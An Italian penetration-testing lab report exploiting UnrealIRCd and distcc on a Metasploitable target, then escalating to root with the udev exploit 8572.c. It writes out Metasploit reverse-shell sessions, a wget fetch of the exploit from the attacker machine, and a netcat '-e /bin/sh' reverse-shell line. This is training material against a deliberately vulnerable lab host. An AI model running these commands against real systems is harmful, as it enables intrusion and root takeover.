UnrealIRCd e distcc

In questo report si presenteranno due vulnerabilità note: CVE-2010-2075, CVE-2004-2687. Inoltre si verificherà se il target Metasploitable ne è soggetto.

CVE-2010-2075 → CVSS Score 10.0 (Critical)

Il software colpito è **UnrealIRCd** (versione 3.2.8.1), uno dei server IRC (Internet Relay Chat) open source più diffusi al mondo, nel 2009 attaccanti sconosciuti sono riusciti a compromettere alcuni *mirror* di download ufficiali sostituendo il file legittimo con una versione modificata contenente una *Backdoor* che permetteva **Remote Code Execution.**

Per sfruttare questa vulnerabilità, non è necessario essere autenticati. Un attaccante può connettersi alla porta del server IRC (default 6667) e inviare un comando specifico.

CVE-2004-2687 → CVSS Score 9.3 (High)

Colpisce **distcc** (Distributed C/C++ Compiler), uno strumento utilizzato per velocizzare la compilazione del codice distribuendo il carico di lavoro su più macchine in rete. Presentava una grave vulnerabilità di configurazione che permetteva una **Remote Command Execution.**

Per sfruttare questa vulnerabilità l'attaccante invia una richiesta di compilazione (porta 3632) in cui sostituisce il nome del compilatore con un comando shell arbitrario. Il demone non valida l'input, esegue qualsiasi comando contenuto nel **Payload** con i privilegi del servizio.

Exploitation UnrealIRCd Vulnerability con Metasploit

Il primo passo sarà cercare il modulo → *search UnrealIRCd*

```
msf > search UnrealIRCd

Matching Modules
================

   #  Name                                     Disclosure Date
   -  ----                                     ---------------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12
```

Si seleziona il modulo, per poi cercare un payload

```
msf > use 0
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                     Disclosure Date
   -   ----                                     ---------------
   0   payload/cmd/unix/adduser                 .
   1   payload/cmd/unix/bind_perl               .
   2   payload/cmd/unix/bind_perl_ipv6          .
   3   payload/cmd/unix/bind_ruby               .
   4   payload/cmd/unix/bind_ruby_ipv6          .
   5   payload/cmd/unix/generic                 .
   6   payload/cmd/unix/reverse                 .
```

Una volta scelto il payload si controllano i suoi parametri richiesti

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload 6
payload ⇒ cmd/unix/reverse
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format t
   RHOSTS                    yes       The target host(s), see h
   RPORT    6667             yes       The target port (TCP)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an inte
   LPORT  4444             yes       The listen port
```

In questo caso i required da impostare sono l'IP del Target e del Local Host

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.51.101
RHOSTS ⇒ 192.168.51.101
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.50.100
LHOST ⇒ 192.168.50.100
```

Dopo aver rifatto un check di controllo sui parametri si può procedere con l'exploit

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.50.100:4444
[*] 192.168.51.101:6667 - Connected to 192.168.51.101:6667 ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
[*] 192.168.51.101:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo So4QrHmNDz0KY2qL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "So4QrHmNDz0KY2qL\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 5 opened (192.168.50.100:4444 → 192.168.51.101:49605) at 2026-01-20 14:51:08 -0500

whoami
root
```

Come risulta evidente dall'immagine la shell eseguita ha i permessi di root.

Exploitation Distcc Vulnerability con Metasploit

Come prima cosa si verifica che distcc sia sul target nella sua porta standard

```
┌──(root㉿kali)-[/home/kali]
└─# nmap 192.168.51.101 -p 3632
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-10 16:00 -0500
Nmap scan report for 192.168.51.101
Host is up (0.011s latency).

PORT     STATE SERVICE
3632/tcp open  distccd

Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
```

Si procede ad entrare su msfconsole per cercare il modulo distcc_exec

```
msf > search distcc

Matching Modules
================

   #  Name                          Disclosure Date  Rank       Check  Description
   -  ----                          ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec 2002-02-01       excellent  Yes    DistCC Daemon Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec

msf > use 0
```

Con show payloads si controllano i payload disponibili per scegliere il più indicato

```
msf exploit(unix/misc/distcc_exec) > set payload 9
payload => cmd/unix/reverse_openssl
```

Controllando i parametri richiesti si può notare che la porta 3632 distcc è preimpostata

```
msf exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:hos
   RHOSTS   192.168.51.101   yes       The target host(s), see https://docs.metasploit.
   RPORT    3632             yes       The target port (TCP)


Payload options (cmd/unix/reverse_openssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.50.100   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
```

Si potrà eseguire l'exploit che aprirà una shell non privilegiata sul target.

```
msf exploit(unix/misc/distcc_exec) > exploit
[*] Started reverse double SSL handler on 192.168.50.100:4444
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo R5dkTWVHWfKzZMv8;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "R5dkTWVHWfKzZMv8\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.50.100:4444 → 192.168.51.101:55681) at 2026-02-10 16:04:58 -0500
```

Da qui si può iniziare con la privilege escalation.

Con i comandi nell'immagine si ha verificato se il processo di udev è attualmente in esecuzione, processo con privilegi di root, PID 2512 (da tenere a mente). Si verifica poi se il pacchetto software di udev è installato correttamente, scoprendo anche la versione 117-8

```
ps aux | grep udev
root       2512  0.3  0.1   2216   648 ?        S<s  15:54   0:03 /sbin/udevd --daemon
dpkg -l | grep udev
ii  udev                                 117-8                                  rule-based device node and kernel event mana
```

Facendo uso di searchsploit, Exploit Database locale di Kali, si è passati alla ricerca di vulnerabilità note con relativo codice malevolo, che riguardano il componente udev.

```
┌──(root㉿kali)-[/home/kali]
└─# searchsploit udev
```

Exploit Title	Path
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1)	linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2)	linux/local/8572.c
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation	linux/local/41886.c
Linux Kernel UDEV < 1.4.1 - 'Netlink' Local Privilege Escalation (Metasploit)	linux/local/21848.rb

Nella prossima sequenza ci si prepara per trasferire il file C exploit, utilizzando il web server Apache come ponte. Verificando il contenuto del web server con relativi permessi si può notare che l'exploit non ha permessi di esecuzione.

```
┌──(root㉿kali)-[/home/kali]
└─# systemctl start apache2

┌──(root㉿kali)-[/home/kali]
└─# cp /usr/share/exploitdb/exploits/linux/local/8572.c /var/www/html

┌──(root㉿kali)-[/home/kali]
└─# ll /var/www/html
total 24
-rw-r--r--  1 root root  2757 Feb 10 16:24 8572.c
drwxrwxrwx 12 root root  4096 Nov 10 17:40 DVWA
-rw-r--r--  1 root root 10703 Sep  9 06:17 index.html
-rw-r--r--  1 root root   615 Sep  9 06:16 index.nginx-debian.html
```

Si andrà perciò ad elevare i permessi del file exploit.

```
┌──(root㉿kali)-[/home/kali]
└─# chmod 777 /var/www/html/8572.c

┌──(root㉿kali)-[/home/kali]
└─# ll /var/www/html
total 24
-rwxrwxrwx  1 root root  2757 Feb 10 16:24 8572.c
```

Fatto questo si è pronti per far salvare il file exploit al target, tramite shell aperta in precedenza. Il comando wget nell'immagine è stato eseguito dal target che ha trovato e scaricato il file esposto dal web server di Kali.

```
wget 192.168.50.100/8572.c
--17:12:46--  http://192.168.50.100/8572.c
            ⇒ `8572.c'
Connecting to 192.168.50.100:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,757 (2.7K) [text/x-csrc]

    0K ..                                                    100%   87.96 MB/s

17:12:46 (87.96 MB/s) - `8572.c' saved [2757/2757]
```

Ai fini della comprensione dell'exploit è consigliabile una lettura del codice → *cat 8572.c*

Dalla lettura del file exploit si può comprendere come la shell venga aperta e consegnata alla Kali, tramite un file 'run' in cui scrivere comandi bash tramite il quale si dirà a netcat di eseguire */bin/sh* (la shell) e di passarne il controllo all'indirizzo specificato (kali).

```
pwd
/tmp
ls
4701.jsvc_up
8572.c
touch run
echo '#!/bin/sh' > run
echo '/bin/netcat -e /bin/sh 192.168.50.100 5001' >> run
cat run
#!/bin/sh
/bin/netcat -e /bin/sh 192.168.50.100 5001
```

Ultimo verifica necessaria sarà il controllo del Socket PID, di solito quello di udev (visto precedenemente) -1

Come sempre prendendo le informazioni dal codice di 8572.c sappiamo dove trovare il socket, si può notare il PID 2511

```
cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
de311800 0   0      00000000 0        0        00000000 2
df8b3a00 4   0      00000000 0        0        00000000 2
dd652000 7   0      00000000 0        0        00000000 2
ddc12c00 9   0      00000000 0        0        00000000 2
ddc0ec00 10  0      00000000 0        0        00000000 2
de311c00 15  0      00000000 0        0        00000000 2
dd06bc00 15  2511   00000001 0        0        00000000 2
de392800 16  0      00000000 0        0        00000000 2
df9f4200 18  0      00000000 0        0        00000000 2
```

Compilando il codice exploit e passandogli quel PID sarà possibile avviare il comando netcat creato sul target

```
gcc 8572.c -o 8572
8572.c:110:28: warning: no newline at end of file
ls
4701.jsvc_up
8572
8572.c
run
./8572 2511
```

Mettendo in ascolto la kali sulla porta indicata al target sarà possibile ricevere la shell privilegiata

```
┌──(root㉿kali)-[/home/kali]
└─# nc -lvp 5001
listening on [any] 5001 ...
192.168.51.101: inverse host lookup failed: Unknown host
connect to [192.168.50.100] from (UNKNOWN) [192.168.51.101] 37863
whoami
root
```

Analisi codice 8572.c

```
┌──(root㉿kali)-[/home/kali]
└─# cat /usr/share/exploitdb/exploits/linux/local/8572.c
/*
 * cve-2009-1185.c
 *
 * udev < 141 Local Privilege Escalation Exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
 *
 *   udev before 1.4.1 does not verify whether a NETLINK message originates
 *   from kernel space, which allows local users to gain privileges by sending
 *   a NETLINK message from user space.
 *
 * Notes:
 *
 *   An alternate version of kcope's exploit.  This exploit leverages the
 *   95-udev-late.rules functionality that is meant to run arbitrary commands
 *   when a device is removed.  A bit cleaner and reliable as long as your
 *   distro ships that rule file.
 *
 *   Tested on Gentoo, Intrepid, and Jaunty.
 *
 * Usage:
 *
 *   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
 *   usually is the udevd PID minus 1) as argv[1].
 *
 *   The exploit will execute /tmp/run as root so throw whatever payload you
 *   want in there.
 */
```

Il testo dice che udev (versione < 1.4.1) non controlla se i messaggi che riceve arrivano davvero dal Kernel o da un utente qualsiasi.

L'exploit sfrutta le regole di udev (*95-udev-late.rules*). Queste regole dicono a udev di eseguire certi script quando un dispositivo viene rimosso. Così si inganna udev facendogli credere che un dispositivo sia stato rimosso, udev seguendo le sue regole cerca un file da eseguire, il file che udev andrà a cercare ed eseguire con i privilegi massimi è proprio */tmp/run*.

Oltre al meccanismo nel codice vengono indicate le istruzioni per l'uso, le dritte fondamentali per far funzionare il file 8572.c

All'exploit serve il Netlink Socket PID, un "canale di comunicazione" usato dal Kernel per parlare con i processi utente come udev. Ciò consentirà l'esecuzione del file run.